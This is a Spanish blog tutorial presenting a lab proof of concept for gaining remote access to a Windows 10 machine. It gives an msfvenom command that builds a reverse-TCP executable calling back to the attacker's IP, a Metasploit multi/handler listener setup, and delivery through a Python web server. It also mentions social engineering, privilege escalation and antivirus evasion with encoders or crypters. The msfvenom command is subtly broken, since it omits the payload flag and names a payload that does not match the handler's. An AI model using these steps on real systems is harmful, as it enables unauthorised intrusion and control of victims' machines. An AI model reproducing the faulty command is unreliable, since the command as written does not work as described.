Obteniendo acceso remoto con msfvenom y Metasploit

mayo 16, 2025

Metasploit es un framework de explotación de vulnerabilidades escrito en ruby con una arquitectura basada en módulos, entre los cuales encontramos: auxiliares, exploits, post-explotación, payloads encoders y nops.

Metasploit cuenta con múltiples interfaces que permite la interacción entre el framework, el usuario y otros sistemas, al igual que múltiples herramientas que permiten realizar diferentes tipos de ataques, una de ellas es msfvenom que permite la creación de binarios maliciosos que ejecutan una conexión remota entre el atacante y la victima, para ello msfvenom cuenta con soporte de los principales formatos de archivos ejecutables en los diferentes sistemas operativos como exe para Windows, elf para Linux y apk para Android, entre otros.

Creación del archivo malicioso

En esta PoC tendremos la maquina del atacante con Kali Linux y la maquina victima con Windows 10. Para obtener una conexión remota entre el atacante y la victima, en primer lugar se debe crear el archivo malicioso con msfvenom con el siguiente comando.

msfvenom windows/metasploit/reverse_tcp LHOST=10.0.2.23 LPORT=4444 -f exe -o payload.exe

  • windows/metasploit/reverse_tcp: corresponde al payload que se utilizará para entablar la conexión dependiendo del sisma operativo de la maquina victima, se puede especificar payload de tipo directo o reverso, al igual que arquitecturas de 32 o 64 bits.
  • LHOST: corresponde a una de las opciones de configuración del payload, en este caso la dirección IP local del atacante.
  • LPORT: corresponde a otra de las opciones de configuración del payload, en este caso el puerto a la escucha en la maquina del atacante que estará esperando la conexión de la victima al ser un payload reverso.
  • -f: corresponde al formato de archivo malicioso que se generará, en este caso un ejecutable de Windows tipo exe.
  • -o: corresponde al nombre y ruta del archivo malicioso generado.

Configuración del exploit a la escucha

Con el archivo creado, hay que configurar el puerto a la escucha en la maquina del atacante, para ello se utiliza el framework metasploit con el exploit multi/handler de la siguiente manera.

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.2.23
set LPORT 4444

Confirmamos la configuración del exploit con los mismos valores del archivo malicioso creado y ejecutamos, dejando a la escucha el puerto especificado.

Entrega y ejecución del archivo malicioso

El siguiente paso, corresponde a la entrega del archivo malicioso, para ello los ciberdelincuentes se aprovechan de técnicas de ingeniería social engañando a las victimas para descargar y ejecutar el archivo, en este caso lo enviaremos a la maquina victima a través de un servidor web ligero con ayuda de Python con el siguiente comando.

python3 -m http.server 80

Desde el navegador web de la maquina victima accedemos a la dirección IP del atacante, descargamos el archivo malicioso y ejecutamos el mismo.

Al ejecutar el archivo malicioso en la maquina victima, esta entabla una conexión con la maquina atacante y le otorga una sesión de meterpreter con la cual se puede interactuar y ejecutar comandos en la maquina victima, cabe mencionar que esta sesión remota obtenida cuenta con los mismos privilegios que el usuario que ejecuto el archivo malicioso, por lo cual estaríamos limitados frente a los comandos y módulos que podemos ejecutar si el usuario no es administrador, pero se pueden efectuar técnicas de escalada de privilegios para obtener permisos de administrador en la maquina victima.

De esta forma hemos obtenido acceso remoto a la maquina victima, comprometiendo el sistema tras la ejecución de un archivo malicioso. Los archivos generados con msfvenom son fácilmente detectados por soluciones de seguridad convencionales pero existen técnicas utilizadas por los cibercriminales que permiten encubrir dicho archivo para evitar su detección y bloqueo, como puede ser la ofuscación y uso de encoders o cripters sobre el archivo generado.